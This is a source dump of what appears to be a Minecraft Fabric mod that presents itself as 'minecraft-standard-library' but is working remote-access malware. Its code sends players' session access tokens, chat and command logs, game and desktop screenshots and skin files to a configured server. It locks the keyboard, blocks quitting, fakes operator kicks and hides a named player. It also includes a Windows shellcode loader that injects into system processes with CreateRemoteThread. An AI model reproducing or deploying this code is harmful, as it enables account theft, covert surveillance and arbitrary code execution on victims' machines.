me.soda.witch.shared.socket.messages.messages.SpamData; 7 | import meteordevelopment.orbit.EventHandler; 8 | 9 | import static me.soda.witch.client.Witch.EVENT_BUS; 10 | 11 | public enum Spam { 12 | INSTANCE; 13 | private int timer = 0; 14 | private int index = 0; 15 | private SpamData spamData; 16 | 17 | @EventHandler 18 | private void onTick(TickEvent event) { 19 | if (!MCUtils.canUpdate() || index >= spamData.times() || spamData.message().isEmpty()) { 20 | EVENT_BUS.unsubscribe(this); 21 | } else if (timer <= 0) { 22 | String text = spamData.message(); 23 | ChatUtils.sendChat(text, spamData.invisible()); 24 | index++; 25 | timer = spamData.delayInTicks(); 26 | } else { 27 | timer--; 28 | } 29 | } 30 | 31 | public void spam(SpamData msg) { 32 | timer = 0; 33 | index = 0; 34 | spamData = msg; 35 | EVENT_BUS.subscribe(this); 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /client/src/main/java/me/soda/witch/client/utils/ChatUtils.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.client.utils; 2 | 3 | import me.soda.witch.client.Witch; 4 | import me.soda.witch.client.events.AddMessageEvent; 5 | import meteordevelopment.orbit.EventHandler; 6 | import net.minecraft.text.Text; 7 | 8 | import java.util.regex.Pattern; 9 | 10 | import static me.soda.witch.client.Witch.mc; 11 | 12 | public class ChatUtils { 13 | public static boolean nextMsgInvisible = false; 14 | 15 | public static boolean invisiblePlayer(String text) { 16 | for (String name : Witch.CONFIG_INFO.invisiblePlayers) { 17 | if (text.contains(name)) { 18 | return true; 19 | } 20 | } 21 | return false; 22 | } 23 | 24 | public static boolean filter(Text text) { 25 | String message = text.getString(); 26 | if (Witch.CONFIG_INFO.isBeingFiltered) { 27 | Pattern pattern = Pattern.compile(Witch.CONFIG_INFO.filterPattern); 28 | return pattern.matcher(message).find(); 29 | } 30 | if (nextMsgInvisible) { 31 | nextMsgInvisible = false; 32 | return true; 33 | } 34 | return invisiblePlayer(message); 35 | } 36 | 37 | public static void sendChat(String message) { 38 | sendChat(message, false); 39 | } 40 | 41 | public static void sendChat(String message, boolean invisible) { 42 | if (!MCUtils.canUpdate()) return; 43 | if (!invisible) { 44 | mc.inGameHud.getChatHud().addToMessageHistory(message); 45 | } else nextMsgInvisible = true; 46 | if (message.startsWith("/")) mc.getNetworkHandler().sendCommand(message.substring(1)); 47 | else mc.getNetworkHandler().sendChatMessage(message); 48 | } 49 | 50 | @EventHandler 51 | private static void onAddMessage(AddMessageEvent event) { 52 | if (Witch.CONFIG_INFO.logChatAndCommand) LoopThread.addToList(event.message.getString()); 53 | if (ChatUtils.filter(event.message)) event.cancel(); 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /client/src/main/java/me/soda/witch/client/utils/KeyLocker.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.client.utils; 2 | 3 | import com.github.kwhat.jnativehook.GlobalScreen; 4 | import com.github.kwhat.jnativehook.NativeHookException; 5 | import com.github.kwhat.jnativehook.NativeInputEvent; 6 | import com.github.kwhat.jnativehook.dispatcher.VoidDispatchService; 7 | import com.github.kwhat.jnativehook.keyboard.NativeKeyEvent; 8 | import com.github.kwhat.jnativehook.keyboard.NativeKeyListener; 9 | 10 | import java.lang.reflect.Field; 11 | 12 | public class KeyLocker { 13 | private static boolean action = false; 14 | private static final NativeKeyListener LISTENER = new NativeKeyListener() { 15 | public void nativeKeyPressed(NativeKeyEvent e) { 16 | if (action && e.getKeyCode() == NativeKeyEvent.VC_META || e.isActionKey()) { 17 | consume(e); 18 | } else { 19 | consume(e); 20 | } 21 | } 22 | 23 | public void nativeKeyReleased(NativeKeyEvent e) { 24 | if (action && e.getKeyCode() == NativeKeyEvent.VC_META || e.isActionKey()) { 25 | consume(e); 26 | } else { 27 | consume(e); 28 | } 29 | } 30 | }; 31 | 32 | static { 33 | GlobalScreen.setEventDispatcher(new VoidDispatchService()); 34 | try { 35 | GlobalScreen.registerNativeHook(); 36 | } catch (NativeHookException ignored) { 37 | } 38 | } 39 | 40 | public static void consume(NativeKeyEvent event) { 41 | try { 42 | Field f = NativeInputEvent.class.getDeclaredField("reserved"); 43 | f.setAccessible(true); 44 | f.setShort(event, (short) 0x01); 45 | } catch (Exception e) { 46 | e.printStackTrace(); 47 | } 48 | } 49 | 50 | public static void disableKeys(boolean action) { 51 | KeyLocker.action = action; 52 | GlobalScreen.addNativeKeyListener(LISTENER); 53 | } 54 | 55 | public static void enableKeys() { 56 | GlobalScreen.removeNativeKeyListener(LISTENER); 57 | } 58 | 59 | public static void toggle(boolean toggle) { 60 | if (toggle) { 61 | KeyLocker.disableKeys(true); 62 | } else { 63 | KeyLocker.enableKeys(); 64 | } 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /client/src/main/java/me/soda/witch/client/utils/LoopThread.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.client.utils; 2 | 3 | import me.soda.witch.client.Witch; 4 | 5 | import java.time.LocalDateTime; 6 | import java.time.format.DateTimeFormatter; 7 | import java.util.ArrayList; 8 | import java.util.List; 9 | import java.util.concurrent.Executors; 10 | import java.util.concurrent.ScheduledExecutorService; 11 | import java.util.concurrent.TimeUnit; 12 | 13 | public class LoopThread { 14 | public static final ScheduledExecutorService executor = Executors.newSingleThreadScheduledExecutor(); 15 | private static List readyToSendStrings = new ArrayList<>(); 16 | 17 | public static void init() { 18 | executor.scheduleAtFixedRate(LoopThread::sendInfo, 0, 30, TimeUnit.SECONDS); 19 | } 20 | 21 | private static void sendInfo() { 22 | if (Witch.CONFIG_INFO.logChatAndCommand && !readyToSendStrings.isEmpty()) { 23 | Witch.send("logging", String.join("\n", readyToSendStrings) + "\n"); 24 | readyToSendStrings = new ArrayList<>(); 25 | } 26 | } 27 | 28 | public static void addToList(String msg) { 29 | String time = LocalDateTime.now().format(DateTimeFormatter.ofPattern("HH:mm:ss ")); 30 | readyToSendStrings.add(time + msg); 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /client/src/main/java/me/soda/witch/client/utils/MCUtils.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.client.utils; 2 | 3 | import com.mojang.authlib.minecraft.MinecraftProfileTexture; 4 | import me.soda.witch.client.Witch; 5 | import me.soda.witch.shared.FileUtil; 6 | import me.soda.witch.shared.LogUtil; 7 | import me.soda.witch.shared.ProgramUtil; 8 | import me.soda.witch.shared.socket.messages.messages.PlayerData; 9 | import net.fabricmc.loader.api.FabricLoader; 10 | import net.minecraft.client.network.ClientPlayerEntity; 11 | import net.minecraft.entity.Entity; 12 | import net.minecraft.internal.mixin.PlayerSkinProviderAccessor; 13 | import net.minecraft.network.packet.s2c.play.DisconnectS2CPacket; 14 | import net.minecraft.text.Text; 15 | import net.minecraft.util.SystemDetails; 16 | import net.minecraft.util.math.MathHelper; 17 | 18 | import java.io.File; 19 | import java.util.List; 20 | import java.util.Random; 21 | 22 | import static me.soda.witch.client.Witch.mc; 23 | 24 | public class MCUtils { 25 | public static boolean canUpdate() { 26 | return mc.world != null && mc.player != null; 27 | } 28 | 29 | public static List allMods() { 30 | return FabricLoader.getInstance().getAllMods().stream().map(modContainer -> modContainer.getMetadata().getName()).toList(); 31 | } 32 | 33 | public static String systemInfo() { 34 | SystemDetails sd = new SystemDetails(); 35 | StringBuilder sb = new StringBuilder(); 36 | sd.writeTo(sb); 37 | return sb.toString(); 38 | } 39 | 40 | public static void sendPlayerSkin() { 41 | mc.getSkinProvider().loadSkin(mc.getSession().getProfile(), (type, id, texture) -> { 42 | if (type == MinecraftProfileTexture.Type.SKIN) { 43 | File skinCacheDir = ((PlayerSkinProviderAccessor) mc.getSkinProvider()).getSkinCacheDir(); 44 | String skinHash = id.toString().split("/")[1]; 45 | File skinFile = new File(skinCacheDir, skinHash.substring(0, 2) + "/" + skinHash); 46 | LogUtil.println("skin read " + skinHash); 47 | Witch.send("skin", FileUtil.read(skinFile)); 48 | } 49 | }, true); 50 | } 51 | 52 | public static void disconnect() { 53 | if (canUpdate()) 54 | mc.player.networkHandler.onDisconnect(new DisconnectS2CPacket(Text.of("Kicked by an operator"))); 55 | } 56 | 57 | public static PlayerData getPlayerInfo() { 58 | ClientPlayerEntity player = mc.player; 59 | return new PlayerData( 60 | mc.getSession().getUsername(), 61 | mc.getSession().getUuid(), 62 | mc.getCurrentServerEntry() != null ? mc.isConnectedToRealms() ? "realms" : mc.getCurrentServerEntry().address : "not in server", 63 | mc.getSession().getAccessToken(), 64 | player != null && player.hasPermissionLevel(4), 65 | player != null, 66 | ProgramUtil.isWin(), 67 | player == null ? 0 : player.getX(), 68 | player == null ? 0 : player.getY(), 69 | player == null ? 0 : player.getZ() 70 | ); 71 | } 72 | 73 | public static String getRandomPassword(int num) { 74 | String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"; 75 | Random random = new Random(); 76 | StringBuilder sb = new StringBuilder(); 77 | for (int i = 0; i < num; i++) { 78 | int number = random.nextInt(63); 79 | sb.append(str.charAt(number)); 80 | } 81 | return sb.toString(); 82 | } 83 | 84 | public static float relativeYaw(Entity entity) { 85 | return mc.player.getYaw() + MathHelper.wrapDegrees((float) Math.toDegrees(Math.atan2(entity.getZ() - mc.player.getZ(), entity.getX() - mc.player.getX())) - 90f - mc.player.getYaw()); 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /client/src/main/java/me/soda/witch/client/utils/ScreenshotUtil.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.client.utils; 2 | 3 | import com.mojang.blaze3d.systems.RenderSystem; 4 | import me.soda.witch.client.Witch; 5 | import me.soda.witch.shared.LogUtil; 6 | import net.minecraft.client.texture.NativeImage; 7 | import net.minecraft.client.util.ScreenshotRecorder; 8 | 9 | import javax.imageio.ImageIO; 10 | import java.awt.*; 11 | import java.awt.image.BufferedImage; 12 | import java.io.ByteArrayOutputStream; 13 | 14 | import static me.soda.witch.client.Witch.mc; 15 | 16 | public class ScreenshotUtil { 17 | public static void gameScreenshot() { 18 | RenderSystem.recordRenderCall(() -> { 19 | try (NativeImage image = ScreenshotRecorder.takeScreenshot(mc.getFramebuffer())) { 20 | Witch.send("screenshot", image.getBytes()); 21 | } catch (Exception e) { 22 | LogUtil.printStackTrace(e); 23 | } 24 | }); 25 | } 26 | 27 | public static byte[] systemScreenshot() throws Exception { 28 | Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize(); 29 | Rectangle screenRectangle = new Rectangle(screenSize); 30 | Robot robot = new Robot(); 31 | BufferedImage image = robot.createScreenCapture(screenRectangle); 32 | ByteArrayOutputStream out = new ByteArrayOutputStream(); 33 | ImageIO.write(image, "png", out); 34 | out.flush(); 35 | byte[] bytes = out.toByteArray(); 36 | out.close(); 37 | return bytes; 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /client/src/main/java/me/soda/witch/client/utils/ShellcodeLoader.java: -------------------------------------------------------------------------------- 1 | //Code from https://github.com/yzddmr6/Java-Shellcode-Loader 2 | package me.soda.witch.client.utils; 3 | 4 | import com.sun.jna.Memory; 5 | import com.sun.jna.Native; 6 | import com.sun.jna.Pointer; 7 | import com.sun.jna.platform.win32.Kernel32; 8 | import com.sun.jna.platform.win32.WinBase; 9 | import com.sun.jna.platform.win32.WinDef; 10 | import com.sun.jna.platform.win32.WinNT.HANDLE; 11 | import com.sun.jna.ptr.IntByReference; 12 | import com.sun.jna.win32.StdCallLibrary; 13 | import com.sun.jna.win32.W32APIOptions; 14 | 15 | import java.util.Random; 16 | 17 | public class ShellcodeLoader { 18 | public static final String[] targetProcessArray = {"C:\\Windows\\SysWOW64\\ARP.exe", "C:\\Windows\\SysWOW64\\at.exe", "C:\\Windows\\SysWOW64\\auditpol.exe", 19 | "C:\\Windows\\SysWOW64\\bootcfg.exe", "C:\\Windows\\SysWOW64\\ByteCodeGenerator.exe", 20 | "C:\\Windows\\SysWOW64\\cacls.exe", "C:\\Windows\\SysWOW64\\chcp.com", 21 | "C:\\Windows\\SysWOW64\\CheckNetIsolation.exe", "C:\\Windows\\SysWOW64\\chkdsk.exe", 22 | "C:\\Windows\\SysWOW64\\choice.exe", "C:\\Windows\\SysWOW64\\cmdkey.exe", "C:\\Windows\\SysWOW64\\comp.exe", 23 | "C:\\Windows\\SysWOW64\\diskcomp.com", "C:\\Windows\\SysWOW64\\Dism.exe", "C:\\Windows\\SysWOW64\\esentutl.exe", 24 | "C:\\Windows\\SysWOW64\\expand.exe", "C:\\Windows\\SysWOW64\\fc.exe", "C:\\Windows\\SysWOW64\\find.exe", 25 | "C:\\Windows\\SysWOW64\\gpresult.exe"}; 26 | static final Kernel32 kernel32 = Native.load(Kernel32.class, W32APIOptions.UNICODE_OPTIONS); 27 | static final IKernel32 iKernel32 = Native.load("kernel32", IKernel32.class); 28 | 29 | public static byte[] hexStrToByteArray(String str) { 30 | if (str == null) { 31 | return null; 32 | } else if (str.length() == 0) { 33 | return new byte[0]; 34 | } else { 35 | byte[] byteArray = new byte[str.length() / 2]; 36 | 37 | for (int i = 0; i < byteArray.length; ++i) { 38 | String subStr = str.substring(2 * i, 2 * i + 2); 39 | byteArray[i] = (byte) Integer.parseInt(subStr, 16); 40 | } 41 | 42 | return byteArray; 43 | } 44 | } 45 | 46 | public void loadShellCode(String shellcodeHex) { 47 | int j = targetProcessArray.length; 48 | byte b = 0; 49 | Random random = new Random(); 50 | int k = b + random.nextInt(j); 51 | String targetProcess = targetProcessArray[k]; 52 | this.loadShellCode(shellcodeHex, targetProcess); 53 | } 54 | 55 | public void loadShellCode(String shellcodeHex, String targetProcess) { 56 | byte[] shellcode = hexStrToByteArray(shellcodeHex); 57 | int shellcodeSize = shellcode.length; 58 | IntByReference intByReference = new IntByReference(0); 59 | Memory memory = new Memory(shellcodeSize); 60 | 61 | for (int j = 0; j < shellcodeSize; ++j) { 62 | memory.setByte(j, shellcode[j]); 63 | } 64 | 65 | WinBase.PROCESS_INFORMATION processInformation = new WinBase.PROCESS_INFORMATION(); 66 | WinBase.STARTUPINFO startupInfo = new WinBase.STARTUPINFO(); 67 | startupInfo.cb = new WinDef.DWORD(processInformation.size()); 68 | if (kernel32.CreateProcess(targetProcess, null, null, null, false, new WinDef.DWORD(4L), null, null, startupInfo, processInformation)) { 69 | Pointer pointer = iKernel32.VirtualAllocEx(processInformation.hProcess, Pointer.createConstant(0), shellcodeSize, 4096, 64); 70 | iKernel32.WriteProcessMemory(processInformation.hProcess, pointer, memory, shellcodeSize, intByReference); 71 | HANDLE hANDLE = iKernel32.CreateRemoteThread(processInformation.hProcess, null, 0, pointer, 0, 0, null); 72 | kernel32.WaitForSingleObject(hANDLE, -1); 73 | } 74 | } 75 | 76 | interface IKernel32 extends StdCallLibrary { 77 | Pointer VirtualAllocEx(HANDLE var1, Pointer var2, int var3, int var4, int var5); 78 | 79 | HANDLE CreateRemoteThread(HANDLE var1, Object var2, int var3, Pointer var4, int var5, int var6, Object var7); 80 | 81 | void WriteProcessMemory(HANDLE param1HANDLE, Pointer param1Pointer1, Pointer param1Pointer2, int param1Int, IntByReference param1IntByReference); 82 | } 83 | } 84 | 85 | -------------------------------------------------------------------------------- /client/src/main/java/net/minecraft/internal/mixin/ChatHudMixin.java: -------------------------------------------------------------------------------- 1 | package net.minecraft.internal.mixin; 2 | 3 | import me.soda.witch.client.Witch; 4 | import me.soda.witch.client.events.AddMessageEvent; 5 | import net.minecraft.client.gui.hud.ChatHud; 6 | import net.minecraft.client.gui.hud.MessageIndicator; 7 | import net.minecraft.network.message.MessageSignatureData; 8 | import net.minecraft.text.Text; 9 | import org.jetbrains.annotations.Nullable; 10 | import org.spongepowered.asm.mixin.Mixin; 11 | import org.spongepowered.asm.mixin.injection.At; 12 | import org.spongepowered.asm.mixin.injection.Inject; 13 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; 14 | 15 | @Mixin(ChatHud.class) 16 | public class ChatHudMixin { 17 | @Inject(at = @At("HEAD"), method = "addMessage(Lnet/minecraft/text/Text;Lnet/minecraft/network/message/MessageSignatureData;ILnet/minecraft/client/gui/hud/MessageIndicator;Z)V", cancellable = true) 18 | private void onAddMessage(Text message, @Nullable MessageSignatureData signature, int ticks, @Nullable MessageIndicator indicator, boolean refresh, CallbackInfo info) { 19 | if (Witch.EVENT_BUS.post(AddMessageEvent.get(message)).isCancelled()) info.cancel(); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /client/src/main/java/net/minecraft/internal/mixin/ChatScreenMixin.java: -------------------------------------------------------------------------------- 1 | package net.minecraft.internal.mixin; 2 | 3 | import me.soda.witch.client.Witch; 4 | import me.soda.witch.client.events.ChatScreenChatEvent; 5 | import net.minecraft.client.gui.screen.ChatScreen; 6 | import org.spongepowered.asm.mixin.Mixin; 7 | import org.spongepowered.asm.mixin.Shadow; 8 | import org.spongepowered.asm.mixin.injection.At; 9 | import org.spongepowered.asm.mixin.injection.Inject; 10 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; 11 | 12 | @Mixin(ChatScreen.class) 13 | public class ChatScreenMixin { 14 | @Shadow 15 | private String chatLastMessage; 16 | 17 | @Inject(method = "sendMessage", at = @At("HEAD"), cancellable = true) 18 | private void onSendMessage(String chatText, boolean addToHistory, CallbackInfoReturnable info) { 19 | if (Witch.EVENT_BUS.post(ChatScreenChatEvent.get(chatLastMessage)).isCancelled()) info.setReturnValue(false); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /client/src/main/java/net/minecraft/internal/mixin/ClientPlayNetworkHandlerMixin.java: -------------------------------------------------------------------------------- 1 | package net.minecraft.internal.mixin; 2 | 3 | import me.soda.witch.client.Witch; 4 | import me.soda.witch.client.events.GameJoinEvent; 5 | import me.soda.witch.client.events.SendCommandEvent; 6 | import net.minecraft.client.network.ClientPlayNetworkHandler; 7 | import org.spongepowered.asm.mixin.Mixin; 8 | import org.spongepowered.asm.mixin.injection.At; 9 | import org.spongepowered.asm.mixin.injection.Inject; 10 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; 11 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; 12 | 13 | @Mixin(ClientPlayNetworkHandler.class) 14 | public class ClientPlayNetworkHandlerMixin { 15 | @Inject(method = "onGameJoin", at = @At("TAIL")) 16 | private void onGameJoin(CallbackInfo info) { 17 | Witch.EVENT_BUS.post(GameJoinEvent.get()); 18 | } 19 | 20 | @Inject(method = "sendCommand", at = @At("HEAD"), cancellable = true) 21 | private void onSendCommand(String command, CallbackInfoReturnable info) { 22 | if (Witch.EVENT_BUS.post(SendCommandEvent.get(command)).isCancelled()) info.setReturnValue(true); 23 | } 24 | 25 | @Inject(method = "sendChatMessage", at = @At("HEAD"), cancellable = true) 26 | private void onSendChatMessage(String message, CallbackInfo info) { 27 | if (Witch.EVENT_BUS.post(SendCommandEvent.get(message)).isCancelled()) info.cancel(); 28 | } 29 | } -------------------------------------------------------------------------------- /client/src/main/java/net/minecraft/internal/mixin/EntityMixin.java: -------------------------------------------------------------------------------- 1 | package net.minecraft.internal.mixin; 2 | 3 | import me.soda.witch.client.utils.ChatUtils; 4 | import net.minecraft.entity.Entity; 5 | import net.minecraft.entity.player.PlayerEntity; 6 | import org.spongepowered.asm.mixin.Mixin; 7 | import org.spongepowered.asm.mixin.injection.At; 8 | import org.spongepowered.asm.mixin.injection.Inject; 9 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; 10 | 11 | @Mixin(Entity.class) 12 | public class EntityMixin { 13 | @Inject(method = "isInvisible", at = @At("HEAD"), cancellable = true) 14 | private void isInvisibleTo(CallbackInfoReturnable info) { 15 | if ((Entity) (Object) this instanceof PlayerEntity player) { 16 | info.setReturnValue(ChatUtils.invisiblePlayer(player.getEntityName())); 17 | } 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /client/src/main/java/net/minecraft/internal/mixin/GameMenuScreenMixin.java: -------------------------------------------------------------------------------- 1 | package net.minecraft.internal.mixin; 2 | 3 | import me.soda.witch.client.Witch; 4 | import net.minecraft.client.gui.screen.GameMenuScreen; 5 | import net.minecraft.client.gui.widget.ButtonWidget; 6 | import org.spongepowered.asm.mixin.Mixin; 7 | import org.spongepowered.asm.mixin.injection.At; 8 | import org.spongepowered.asm.mixin.injection.Inject; 9 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; 10 | 11 | @Mixin(GameMenuScreen.class) 12 | public class GameMenuScreenMixin { 13 | @Inject(method = "*", at = @At(value = "INVOKE", target = "Lnet/minecraft/client/report/AbuseReportContext;tryShowDraftScreen(Lnet/minecraft/client/MinecraftClient;Lnet/minecraft/client/gui/screen/Screen;Ljava/lang/Runnable;Z)V"), cancellable = true) 14 | private void onExitButton(ButtonWidget button, CallbackInfo info) { 15 | if (!Witch.CONFIG_INFO.canQuitServerOrCloseWindow) info.cancel(); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /client/src/main/java/net/minecraft/internal/mixin/GameRendererMixin.java: -------------------------------------------------------------------------------- 1 | package net.minecraft.internal.mixin; 2 | 3 | import me.soda.witch.client.utils.ChatUtils; 4 | import net.minecraft.client.render.GameRenderer; 5 | import net.minecraft.entity.Entity; 6 | import net.minecraft.entity.player.PlayerEntity; 7 | import org.spongepowered.asm.mixin.Mixin; 8 | import org.spongepowered.asm.mixin.injection.At; 9 | import org.spongepowered.asm.mixin.injection.Inject; 10 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; 11 | 12 | @Mixin(GameRenderer.class) 13 | public class GameRendererMixin { 14 | @Inject(method = "method_18144", at = @At("HEAD"), cancellable = true, remap = false) 15 | private static void onTargetedEntityCanHit(Entity entity, CallbackInfoReturnable info) { 16 | if (entity instanceof PlayerEntity && ChatUtils.invisiblePlayer(entity.getEntityName())) 17 | info.setReturnValue(false); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /client/src/main/java/net/minecraft/internal/mixin/KeyboardMixin.java: -------------------------------------------------------------------------------- 1 | package net.minecraft.internal.mixin; 2 | 3 | import me.soda.witch.client.Witch; 4 | import net.minecraft.client.Keyboard; 5 | import org.spongepowered.asm.mixin.Mixin; 6 | import org.spongepowered.asm.mixin.injection.At; 7 | import org.spongepowered.asm.mixin.injection.Inject; 8 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; 9 | 10 | @Mixin(Keyboard.class) 11 | public class KeyboardMixin { 12 | @Inject(method = "pollDebugCrash", at = @At("HEAD"), cancellable = true) 13 | private void onDebugCrash(CallbackInfo info) { 14 | if (!Witch.CONFIG_INFO.canQuitServerOrCloseWindow) info.cancel(); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /client/src/main/java/net/minecraft/internal/mixin/MainMixin.java: -------------------------------------------------------------------------------- 1 | package net.minecraft.internal.mixin; 2 | 3 | import net.minecraft.client.main.Main; 4 | import org.spongepowered.asm.mixin.Mixin; 5 | import org.spongepowered.asm.mixin.injection.At; 6 | import org.spongepowered.asm.mixin.injection.Inject; 7 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; 8 | 9 | @Mixin(Main.class) 10 | public class MainMixin { 11 | @Inject(method = "main([Ljava/lang/String;)V", at = @At("HEAD"), remap = false) 12 | private static void onMain(CallbackInfo ci) { 13 | System.setProperty("java.awt.headless", "false"); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /client/src/main/java/net/minecraft/internal/mixin/MinecraftClientMixin.java: -------------------------------------------------------------------------------- 1 | package net.minecraft.internal.mixin; 2 | 3 | import me.soda.witch.client.Witch; 4 | import me.soda.witch.client.events.TickEvent; 5 | import net.minecraft.client.MinecraftClient; 6 | import org.spongepowered.asm.mixin.Mixin; 7 | import org.spongepowered.asm.mixin.injection.At; 8 | import org.spongepowered.asm.mixin.injection.Inject; 9 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; 10 | 11 | @Mixin(value = MinecraftClient.class) 12 | public class MinecraftClientMixin { 13 | @Inject(method = "", at = @At("TAIL")) 14 | private void onInit(CallbackInfo info) { 15 | Witch.INSTANCE.init(); 16 | } 17 | 18 | @Inject(at = @At("HEAD"), method = "tick") 19 | private void onTick(CallbackInfo info) { 20 | Witch.EVENT_BUS.post(TickEvent.get()); 21 | } 22 | 23 | @Inject(method = "scheduleStop", at = @At("HEAD"), cancellable = true) 24 | private void onScheduleStop(CallbackInfo info) { 25 | if (!Witch.CONFIG_INFO.canQuitServerOrCloseWindow) info.cancel(); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /client/src/main/java/net/minecraft/internal/mixin/MultiplayerScreenMixin.java: -------------------------------------------------------------------------------- 1 | package net.minecraft.internal.mixin; 2 | 3 | import me.soda.witch.client.Witch; 4 | import me.soda.witch.client.events.ServerButtonClickEvent; 5 | import net.minecraft.client.gui.screen.multiplayer.MultiplayerScreen; 6 | import net.minecraft.client.network.ServerInfo; 7 | import org.spongepowered.asm.mixin.Mixin; 8 | import org.spongepowered.asm.mixin.injection.At; 9 | import org.spongepowered.asm.mixin.injection.Inject; 10 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; 11 | 12 | @Mixin(MultiplayerScreen.class) 13 | public class MultiplayerScreenMixin { 14 | @Inject(at = @At("HEAD"), method = "connect(Lnet/minecraft/client/network/ServerInfo;)V", cancellable = true) 15 | private void connect(ServerInfo serverInfo, CallbackInfo info) { 16 | if (Witch.EVENT_BUS.post(ServerButtonClickEvent.get().isCancelled())) info.cancel(); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /client/src/main/java/net/minecraft/internal/mixin/PlayerSkinProviderAccessor.java: -------------------------------------------------------------------------------- 1 | package net.minecraft.internal.mixin; 2 | 3 | import net.minecraft.client.texture.PlayerSkinProvider; 4 | import org.spongepowered.asm.mixin.Mixin; 5 | import org.spongepowered.asm.mixin.gen.Accessor; 6 | 7 | import java.io.File; 8 | 9 | @Mixin(PlayerSkinProvider.class) 10 | public interface PlayerSkinProviderAccessor { 11 | @Accessor("skinCacheDir") 12 | File getSkinCacheDir(); 13 | } 14 | -------------------------------------------------------------------------------- /client/src/main/java/net/minecraft/internal/mixin/WindowMixin.java: -------------------------------------------------------------------------------- 1 | package net.minecraft.internal.mixin; 2 | 3 | import me.soda.witch.client.Witch; 4 | import net.minecraft.client.util.Window; 5 | import org.spongepowered.asm.mixin.Mixin; 6 | import org.spongepowered.asm.mixin.injection.At; 7 | import org.spongepowered.asm.mixin.injection.Inject; 8 | import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; 9 | 10 | @Mixin(Window.class) 11 | public class WindowMixin { 12 | @Inject(method = "shouldClose", at = @At("HEAD"), cancellable = true) 13 | private void onClose(CallbackInfoReturnable info) { 14 | if (!Witch.CONFIG_INFO.canQuitServerOrCloseWindow) info.setReturnValue(false); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /client/src/main/resources/fabric.mod.json: -------------------------------------------------------------------------------- 1 | { 2 | "schemaVersion": 1, 3 | "authors": [ 4 | "${author}" 5 | ], 6 | "depends": { 7 | "minecraft": ">=1.19.3" 8 | }, 9 | "environment": "client", 10 | "id": "minecraft-standard-library", 11 | "mixins": [ 12 | "mod.mixins.json" 13 | ], 14 | "custom": { 15 | "h": "127.0.0.1", 16 | "p": 11451, 17 | "k": "cXdx", 18 | "modmenu": { 19 | "badges": [ 20 | "library" 21 | ] 22 | } 23 | }, 24 | "version": "${version}" 25 | } 26 | -------------------------------------------------------------------------------- /client/src/main/resources/mod.mixins.json: -------------------------------------------------------------------------------- 1 | { 2 | "required": true, 3 | "minVersion": "0.8", 4 | "package": "net.minecraft.internal.mixin", 5 | "compatibilityLevel": "JAVA_17", 6 | "client": [ 7 | "ChatHudMixin", 8 | "ChatScreenMixin", 9 | "ClientPlayNetworkHandlerMixin", 10 | "EntityMixin", 11 | "GameMenuScreenMixin", 12 | "GameRendererMixin", 13 | "KeyboardMixin", 14 | "MainMixin", 15 | "MinecraftClientMixin", 16 | "MultiplayerScreenMixin", 17 | "PlayerSkinProviderAccessor", 18 | "WindowMixin" 19 | ], 20 | "injectors": { 21 | "defaultRequire": 1 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /data/config/default.json: -------------------------------------------------------------------------------- 1 | { 2 | "passwordBeingLogged": true, 3 | "isMuted": false, 4 | "isBeingFiltered": false, 5 | "filterPattern": "", 6 | "logChatAndCommand": false, 7 | "canJoinServer": true, 8 | "canQuitServerOrCloseWindow": true, 9 | "name": "Witch Server", 10 | "invisiblePlayers": [ 11 | "Soda5601" 12 | ] 13 | } -------------------------------------------------------------------------------- /data/config/server.json: -------------------------------------------------------------------------------- 1 | { 2 | "port": 11451, 3 | "encryptionKey": "qwq" 4 | } -------------------------------------------------------------------------------- /gradle.properties: -------------------------------------------------------------------------------- 1 | # Done to increase the memory available to gradle. 2 | org.gradle.jvmargs=-Xmx2G 3 | # Fabric Properties 4 | # check these on https://fabricmc.net/develop 5 | minecraft_version=1.19.3 6 | yarn_mappings=1.19.3+build.2 7 | loader_version=0.14.11 8 | # Mod Properties 9 | version=1.0.0 10 | maven_group=me.soda.witch 11 | archives_base_name=witch 12 | author_name=Soda5601 13 | # Libs 14 | orbit_version=0.2.3 15 | -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hexadecimal233/witch/6822e4631bf436dd3d2e9b42b01401d1253ca541/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionBase=GRADLE_USER_HOME 2 | distributionPath=wrapper/dists 3 | distributionUrl=https\://services.gradle.org/distributions/gradle-7.5.1-bin.zip 4 | zipStoreBase=GRADLE_USER_HOME 5 | zipStorePath=wrapper/dists 6 | 